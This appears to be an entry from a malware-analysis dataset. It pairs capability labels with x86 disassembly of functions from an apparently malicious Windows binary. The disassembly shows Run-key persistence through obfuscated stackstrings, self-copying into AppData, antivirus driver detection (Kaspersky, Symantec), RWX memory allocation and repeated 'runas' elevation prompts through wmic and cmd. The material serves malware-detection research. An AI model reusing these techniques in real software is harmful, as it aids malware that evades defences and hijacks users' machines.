joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4191b9
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
push esi
xor esi, esi
push edi
mov edi, ecx
mov dword [ebp - 4], esi
mov dword [ebp - 8], esi
call ebx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
lea edx, [ebp - 4]
push edx
push eax
call dword [ecx + 0x48]
test eax, eax
jl 0x4191ed
cmp dword [ebp - 4], esi
jne 0x41922e
call ebx
sub eax, dword [ebp - 0xc]
cmp eax, 0x7d0
ja 0x41922e
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x4191d7
push esi
push esi
push esi
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.USER32.dll_GetMessageW]
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x4191d7
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
lea edx, [ebp - 4]
push edx
push eax
call dword [ecx + 0x48]
cmp eax, esi
mov dword [ebp + 8], eax
jl 0x419299
mov eax, dword [ebp - 4]
cmp eax, esi
je 0x41928f
mov ecx, dword [eax]
lea edx, [ebp - 8]
push edx
push 0x42b0e8
push eax
call dword [ecx]
cmp eax, esi
mov dword [ebp + 8], eax
jl 0x419286
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x20]
cmp eax, esi
mov dword [ebp + 8], eax
jl 0x41927d
mov eax, dword [ebp - 8]
push dword [ebp + 0xc]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov dword [ebp + 8], eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
cmp dword [ebp + 8], esi
jl 0x419299
cmp dword [ebp - 4], esi
jne 0x4192e8
cmp dword [edi + 8], esi
je 0x4192e8
cmp dword [edi + 0x18], esi
jne 0x4192e8
mov eax, dword [edi + 0x14]
cmp eax, esi
je 0x4192e8
push eax
mov ecx, edi
call fcn.00418ffb
mov ebx, eax
cmp ebx, esi
je 0x4192e8
push 0x204
push esi
push esi
push esi
push esi
push 1
push dword [edi + 4]
call dword [sym.imp.USER32.dll_SetWindowPos]
push 5
push dword [edi + 8]
call dword [sym.imp.USER32.dll_ShowWindow]
push ebx
push dword [edi + 8]
call dword [sym.imp.USER32.dll_SetWindowTextW]
push ebx
call fcn.0041a086
pop ecx
xor eax, eax
cmp dword [ebp + 8], esi
pop edi
pop esi
setge al
pop ebx
leave
ret 8
Function at 0x41961b
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov al, byte [ebp + 0x18]
sub esp, 0x10
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov esi, ecx
push 0
push edi
mov dword [esi + 8], edi
mov byte [esi + 0x25], al
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [ebp + 8]
mov ecx, esi
call fcn.004195b4
mov eax, dword [ebp + 0x10]
mov dword [esi + 0x14], eax
mov eax, dword [ebp + 0x14]
mov dword [esi + 0x18], eax
lea eax, [ebp - 0x10]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowRect]
mov ebx, dword [sym.imp.USER32.dll_GetParent]
push 2
lea eax, [ebp - 0x10]
push eax
push edi
call ebx
push eax
push 0
call dword [sym.imp.USER32.dll_MapWindowPoints]
mov eax, dword [esi + 4]
test eax, eax
je 0x419682
push eax
call dword [sym.imp.USER32.dll_DestroyWindow]
mov eax, dword [ebp - 0x10]
mov edi, dword [ebp - 8]
push esi
push dword [esi]
sub edi, eax
push 0
push dword [ebp + 0xc]
lea ecx, [eax + 1]
dec edi
mov dword [ebp + 0x18], ecx
dec edi
call ebx
push eax
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0xc]
push eax
push edi
push dword [ebp - 0xc]
xor edi, edi
push dword [ebp + 0x18]
push 0x40000000
push edi
push str.RarHtmlClassName
push edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [esi + 4], eax
cmp dword [esi + 0x10], edi
jne 0x419704
cmp dword [ebp + 0xc], edi
je 0x419727
cmp dword [esi + 0x18], edi
jne 0x419727
mov eax, dword [esi + 0x14]
cmp eax, edi
je 0x419727
push eax
mov ecx, esi
call fcn.00418ffb
mov esi, eax
cmp esi, edi
je 0x419727
push 5
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_SetWindowTextW]
push esi
call fcn.0041a086
pop ecx
jmp 0x419727
cmp eax, edi
je 0x41971a
push 5
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [esi + 4]
call dword [sym.imp.USER32.dll_UpdateWindow]
cmp dword [esi + 0x20], 0x64
jbe 0x419727
mov ecx, esi
call fcn.00418e4e
pop edi
pop esi
pop ebx
leave
ret 0x14
Function at 0x41972e
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
lea eax, [ebp - 4]
push eax
push 0x42b0d8
push 1
xor ebx, ebx
push ebx
push 0x42b188
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x4197ff
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 8]
push edx
push 0x42b178
push eax
call dword [ecx]
test eax, eax
jl 0x4197f6
cmp byte [ebp + 8], bl
je 0x419781
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push 2
push dword [ebp + 0x10]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 4]
push dword [ebp + 0xc]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x50]
cmp dword [ebp + 0x18], ebx
je 0x41979e
mov eax, dword [ebp - 4]
push dword [ebp + 0x18]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push ebx
cmp dword [ebp + 0x1c], ebx
jne 0x4197b0
push 0x42a724
jmp 0x4197b3
push dword [ebp + 0x1c]
push eax
call dword [ecx + 0x44]
cmp dword [ebp + 0x20], ebx
je 0x4197c8
mov eax, dword [ebp - 4]
push dword [ebp + 0x20]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x2c]
cmp dword [ebp + 0x14], ebx
je 0x4197d9
mov eax, dword [ebp - 4]
push dword [ebp + 0x14]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x24]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push 1
push dword [ebp + 0x10]
push eax
call dword [ecx + 0x18]
test eax, eax
jl 0x4197ed
mov bl, 1
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov al, bl
pop ebx
leave
ret 0x1c

Function at 0x419819
Capabilities:
Get common file path

Disassembly:
push dword [esp + 4]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
neg eax
sbb eax, eax
neg eax
ret 8

Function at 0x41e29e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42f298]
jne 0x41e2a8
repz ret
jmp fcn.00423a43
Function at 0x4252d5
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0041e31f
and dword [ebp - 4], 0
cmp dword [0x44f1f0], 0
mov ebx, eax
jne 0x425386
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x425437
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x425437
push eax
call fcn.0041e2ad
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x44f1f0], eax
call esi
push eax
call fcn.0041e2ad
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x44f1f4], eax
call esi
push eax
call fcn.0041e2ad
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x44f1f8], eax
call esi
push eax
call fcn.0041e2ad
pop ecx
mov dword [0x44f200], eax
test eax, eax
je 0x425386
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041e2ad
pop ecx
mov dword [0x44f1fc], eax
mov eax, dword [0x44f1fc]
cmp eax, ebx
je 0x4253de
cmp dword [0x44f200], ebx
je 0x4253de
push eax
call fcn.0041e328
push dword [0x44f200]
mov esi, eax
call fcn.0041e328
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4253de
test edi, edi
je 0x4253de
call esi
test eax, eax
je 0x4253d5
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4253d5
test byte [ebp - 0xc], 1
jne 0x4253de
or dword [ebp + 0x10], 0x200000
jmp 0x425417
mov eax, dword [0x44f1f4]
cmp eax, ebx
je 0x425417
push eax
call fcn.0041e328
pop ecx
test eax, eax
je 0x425417
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x425417
mov eax, dword [0x44f1f8]
cmp eax, ebx
je 0x425417
push eax
call fcn.0041e328
pop ecx
test eax, eax
je 0x425417
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x44f1f0]
call fcn.0041e328
pop ecx
test eax, eax
je 0x425437
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x425439
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402830
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push ecx
mov ebx, edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
xor esi, esi
cmp edi, 0xffffffff
je 0x40287f
test ebx, ebx
je 0x402873
push esi
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x402878
mov esi, 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402890
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], edx
push ebx
push ebx
push 3
push ebx
push 1
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x4028f9
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 4], eax
call fcn.00403030
neg eax
sbb esi, esi
and esi, 3
inc esi
call fcn.00403030
neg eax
push ebx
sbb eax, eax
push ebx
and eax, 0xfffffffa
push ebx
add eax, 8
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebp - 0xc], eax
test eax, eax
jne 0x402902
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
je 0x402948
call fcn.00403030
test eax, eax
jne 0x40292e
push ecx
lea ecx, [esi + 0x53]
lea edx, [eax + 6]
call fcn.00407db0
add esp, 4
push ecx
push dword [ebp - 4]
mov ecx, dword [ebp - 8]
mov edx, esi
call fcn.00402830
add esp, 8
mov ebx, eax
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402960
Capabilities:
Contain obfuscated stackstrings
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x1c], 0x520050
mov ecx, 0x41
mov dword [ebp - 0x18], 0x440049
push ecx
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x14], 0x520055
push eax
mov dword [ebp - 0x10], 0x530041
mov dword [ebp - 0xc], 0x4b0048
mov dword [ebp - 8], ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.00407c60
add esp, 4
mov dword [ebp - 0x88], 0x4f0053
lea eax, [ebp - 4]
mov dword [ebp - 0x84], 0x540046
mov dword [ebp - 0x80], 0x410057
mov dword [ebp - 0x7c], 0x450052
push 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
lea eax, [ebp - 0x88]
mov dword [ebp - 0x78], 0x4d005c
push eax
push 0x80000001
mov dword [ebp - 0x74], 0x630069
mov dword [ebp - 0x70], 0x6f0072
mov dword [ebp - 0x6c], 0x6f0073
mov dword [ebp - 0x68], 0x740066
mov dword [ebp - 0x64], 0x57005c
mov dword [ebp - 0x60], 0x6e0069
mov dword [ebp - 0x5c], 0x6f0064
mov dword [ebp - 0x58], 0x730077
mov dword [ebp - 0x54], 0x43005c
mov dword [ebp - 0x50], 0x720075
mov dword [ebp - 0x4c], 0x650072
mov dword [ebp - 0x48], 0x74006e
mov dword [ebp - 0x44], 0x650056
mov dword [ebp - 0x40], 0x730072
mov dword [ebp - 0x3c], 0x6f0069
mov dword [ebp - 0x38], 0x5c006e
mov dword [ebp - 0x34], 0x750052
mov dword [ebp - 0x30], 0x4f006e
mov dword [ebp - 0x2c], 0x63006e
mov dword [ebp - 0x28], 0x65
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x402ac0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push esi
push 1
push 0
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
neg eax
sbb esi, esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esi + 1]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402ad0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x800
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esp + 0x14], eax
mov edi, eax
mov dword [esp + 0xc], 0
test eax, eax
je 0x402b1c
lea edi, [eax + 0x202]
mov dword [esp + 0xc], 0x404
mov ebx, edi
mov esi, eax
add edi, 0x202
jmp 0x402b20
xor esi, esi
xor ebx, ebx
push 0x100
push esi
push 0
mov dword [esp + 0x1c], esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push ebx
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea edx, [ebx + 2]
mov ecx, esi
call fcn.00407ba0
test eax, eax
je 0x402b53
mov ecx, esi
jmp 0x402c40
xor eax, eax
mov dword [esp + 0x18], 0x520050
mov ecx, 0x52
mov word [esp + 0x24], ax
push ecx
lea eax, [esp + 0x1c]
mov dword [esp + 0x20], 0x440049
push eax
mov dword [esp + 0x28], 0x520055
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, eax
lea ecx, [esp + 0x1c]
call fcn.00407c60
add esp, 4
push 0x100
push ebx
push str.AppData
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea edx, [ebx + 2]
mov ecx, esi
call fcn.00407ba0
test eax, eax
je 0x402bd8
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenW]
push esi
call eax
cmp dword [esp + 0x14], 0
lea ecx, [eax*2 + 0xa]
je 0x402bd3
mov eax, dword [esp + 0xc]
add eax, ecx
cmp eax, 0x800
jb 0x402bd5
xor edi, edi
push esi
jmp 0x402c2f
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.Microsoft_
push ebx
call esi
lea eax, [esp + 0x18]
push eax
push ebx
call esi
push str..exe
push ebx
call esi
push ecx
mov ecx, dword [esp + 0x14]
mov edx, ebx
call fcn.00402890
add esp, 4
test eax, eax
je 0x402c45
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
call eax
cmp dword [esp + 0x14], 0
lea ecx, [eax*2 + 0xa]
je 0x402c2c
mov eax, dword [esp + 0xc]
add eax, ecx
cmp eax, 0x800
jb 0x402c2e
xor edi, edi
push ebx
push str.__s_
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, edi
add esp, 0xc
call fcn.00402960
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x402f50
Capabilities:
Enumerate device drivers on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
push esi
mov esi, dword [sym.imp.PSAPI.DLL_EnumDeviceDrivers]
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp - 8]
mov dword [ebp - 0xc], ecx
push eax
mov dword [ebp - 4], 0
call esi
mov eax, dword [ebp - 4]
test eax, eax
jne 0x402f82
pop esi
mov esp, ebp
pop ebp
ret
push edi
push 4
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
jne 0x402f9f
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push ebx
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push edi
call esi
test eax, eax
je 0x402ff2
mov ebx, dword [ebp - 4]
xor esi, esi
shr ebx, 2
test ebx, ebx
jle 0x402ff2
lea ebx, [ebx]
push 0x400
lea eax, [ebp - 0x80c]
push eax
push dword [edi + esi*4]
call dword [sym.imp.PSAPI.DLL_GetDeviceDriverBaseNameW]
test eax, eax
je 0x402fed
push dword [ebp - 0xc]
lea eax, [ebp - 0x80c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x403009
inc esi
cmp esi, ebx
jl 0x402fc0
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop ebx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop ebx
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x403030
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x24], 0x6c006b
push edi
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x20], 0x660069
mov dword [ebp - 0x1c], 0x73002e
mov dword [ebp - 0x18], 0x730079
mov word [ebp - 0x14], ax
mov dword [ebp - 0x10], 0x6c006b
mov dword [ebp - 0xc], 0x2e0031
mov dword [ebp - 8], 0x790073
mov dword [ebp - 4], 0x73
call fcn.00402f50
pop edi
pop esi
pop ebx
test eax, eax
jne 0x403096
lea ecx, [ebp - 0x10]
call fcn.00402f50
test eax, eax
jne 0x403096
mov esp, ebp
pop ebp
ret
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x4030a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x14], 0x720073
push edi
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x10], 0x730074
mov dword [ebp - 0xc], 0x2e0070
mov dword [ebp - 8], 0x790073
mov dword [ebp - 4], 0x73
mov dword [ebp - 0x44], 0x720073
mov dword [ebp - 0x40], 0x730074
mov dword [ebp - 0x3c], 0x360070
mov dword [ebp - 0x38], 0x2e0034
mov dword [ebp - 0x34], 0x790073
mov dword [ebp - 0x30], 0x73
mov dword [ebp - 0x5c], 0x61004e
mov dword [ebp - 0x58], 0x450076
mov dword [ebp - 0x54], 0x310078
mov dword [ebp - 0x50], 0x2e0035
mov dword [ebp - 0x4c], 0x790073
mov dword [ebp - 0x48], 0x73
mov dword [ebp - 0x2c], 0x61004e
mov dword [ebp - 0x28], 0x450076
mov dword [ebp - 0x24], 0x67006e
mov dword [ebp - 0x20], 0x73002e
mov dword [ebp - 0x1c], 0x730079
mov word [ebp - 0x18], ax
call fcn.00402f50
pop edi
pop esi
pop ebx
test eax, eax
jne 0x403180
lea ecx, [ebp - 0x44]
call fcn.00402f50
test eax, eax
jne 0x403180
lea ecx, [ebp - 0x5c]
call fcn.00402f50
test eax, eax
jne 0x403180
lea ecx, [ebp - 0x2c]
call fcn.00402f50
test eax, eax
jne 0x403180
mov esp, ebp
pop ebp
ret
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x4033e0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
mov dword [ebp - 4], esi
mov dword [esi + 0xc], ebx
call fcn.004032b0
test eax, eax
je 0x4034d9
cmp eax, 0xffffffff
je 0x4034d9
mov ecx, esi
call fcn.00403320
test eax, eax
je 0x403425
mov dword [esi], 1
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 4
mov dword [esi], 0
mov al, byte [ebx]
test al, al
je 0x403418
push edi
cmp al, 0x7b
jne 0x4034bf
inc ebx
push ebx
call fcn.00403190
sub eax, 0
je 0x4034bf
dec eax
je 0x4034b5
dec eax
jne 0x4034bf
mov al, byte [ebx]
mov edi, ebx
test al, al
je 0x403467
cmp al, 0x7d
je 0x4034bf
inc edi
cmp al, 0x3d
je 0x403467
mov al, byte [edi]
test al, al
jne 0x403458
mov al, byte [edi]
cmp al, 0x7d
je 0x4034bf
mov esi, edi
test al, al
je 0x403483
cmp byte [esi], 0x7d
je 0x403480
inc esi
cmp byte [esi], 0
jne 0x403473
jmp 0x403483
mov byte [esi], 0
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [ebp - 4]
mov dword [ecx + 8], eax
test eax, eax
je 0x4034ad
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov byte [esi], 0x7d
mov esi, dword [ebp - 4]
jmp 0x4034bf
push 1
push ebx
mov ecx, esi
call fcn.00403200
mov al, byte [ebx + 1]
inc ebx
test al, al
jne 0x403432
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x403500
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0x14]
push esi
push edi
mov edi, dword [ebp + 0x10]
mov esi, ecx
mov dword [eax], ebx
mov dword [ebp - 4], edx
lea eax, [edi + 0xf]
lea ecx, [esi + 0xf]
cmp esi, eax
ja 0x403541
cmp ecx, edi
jb 0x403541
mov ecx, esi
sub edi, esi
mov edx, 0x10
mov edi, edi
mov al, byte [edi + ecx]
lea ecx, [ecx + 1]
xor byte [ecx - 1], al
dec edx
jne 0x403530
mov edx, dword [ebp - 4]
jmp 0x403551
movdqu xmm1, xmmword [esi]
movdqu xmm0, xmmword [edi]
pxor xmm1, xmm0
movdqu xmmword [esi], xmm1
mov eax, dword [ebp + 0xc]
cmp edx, 0x10
jbe 0x4035ba
lea edi, [edx - 0x11]
shr edi, 4
inc edi
mov dword [ebp + 0x14], edi
push eax
push ebx
push esi
call fcn.00401020
mov edx, ebx
add esi, 0x10
add esp, 0xc
add ebx, 0x10
lea eax, [edx + 0xf]
cmp esi, eax
ja 0x4035a1
lea eax, [esi + 0xf]
cmp eax, edx
jb 0x4035a1
mov eax, esi
sub edx, esi
mov edi, 0x10
lea ecx, [ecx]
mov cl, byte [eax + edx]
lea eax, [eax + 1]
xor byte [eax - 1], cl
dec edi
jne 0x403590
mov edi, dword [ebp + 0x14]
jmp 0x4035b1
movdqu xmm1, xmmword [esi]
movdqu xmm0, xmmword [edx]
pxor xmm1, xmm0
movdqu xmmword [esi], xmm1
mov eax, dword [ebp + 0xc]
dec edi
mov dword [ebp + 0x14], edi
jne 0x403563
push eax
push ebx
push esi
call fcn.00401020
add esp, 0xc
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403ba0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create process on windows
Execute shellcode via indirect call
Query environment variable
Resolve function by parsing pe exports
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x694
push ebx
push esi
push edi
mov esi, ecx
call fcn.00403ae0
test eax, eax
je 0x403dba
call fcn.00403a60
test eax, eax
jne 0x403dba
push 0xff
lea eax, [esp + 0xa4]
mov dword [esp + 0x1c], 0x770025
push eax
lea eax, [esp + 0x20]
mov dword [esp + 0x24], 0x6e0069
push eax
mov dword [esp + 0x2c], 0x690064
mov dword [esp + 0x30], 0x250072
mov dword [esp + 0x34], 0x73005c
mov dword [esp + 0x38], 0x730079
mov dword [esp + 0x3c], 0x650074
mov dword [esp + 0x40], 0x33006d
mov dword [esp + 0x44], 0x5c0032
mov dword [esp + 0x48], 0x620077
mov dword [esp + 0x4c], 0x6d0065
mov dword [esp + 0x50], 0x77005c
mov dword [esp + 0x54], 0x69006d
mov dword [esp + 0x58], 0x63
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push esi
lea eax, [esp + 0x54]
mov dword [esp + 0x54], 0x720070
push eax
lea eax, [esp + 0x2a8]
mov dword [esp + 0x5c], 0x63006f
push eax
mov dword [esp + 0x64], 0x730065
mov dword [esp + 0x68], 0x200073
mov dword [esp + 0x6c], 0x610063
mov dword [esp + 0x70], 0x6c006c
mov dword [esp + 0x74], 0x630020
mov dword [esp + 0x78], 0x650072
mov dword [esp + 0x7c], 0x740061
mov dword [esp + 0x80], 0x200065
mov dword [esp + 0x84], 0x630022
mov dword [esp + 0x88], 0x64006d
mov dword [esp + 0x8c], 0x2f0020
mov dword [esp + 0x90], 0x200063
mov dword [esp + 0x94], 0x740073
mov dword [esp + 0x98], 0x720061
mov dword [esp + 0x9c], 0x200074
mov dword [esp + 0xa0], 0x730025
mov dword [esp + 0xa4], 0x22
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x40
push 0x3000
push 0x3d
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov dword [edi], 0x3c
mov dword [edi + 4], 0x40
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebx, dword [sym.imp.SHELL32.dll_ShellExecuteExW]
xor esi, esi
mov dword [edi + 8], eax
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0x750072
mov dword [esp + 0x10], 0x61006e
mov dword [esp + 0x14], 0x73
mov dword [edi + 0xc], eax
lea eax, [esp + 0xa0]
mov dword [edi + 0x10], eax
lea eax, [esp + 0x2a0]
mov dword [edi + 0x14], eax
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
lea esp, [esp]
push edi
call ebx
test eax, eax
jne 0x403dc1
inc esi
cmp esi, 0x64
jb 0x403da0
push 0x8000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
push dword [edi + 0x38]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [edi + 0x38]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]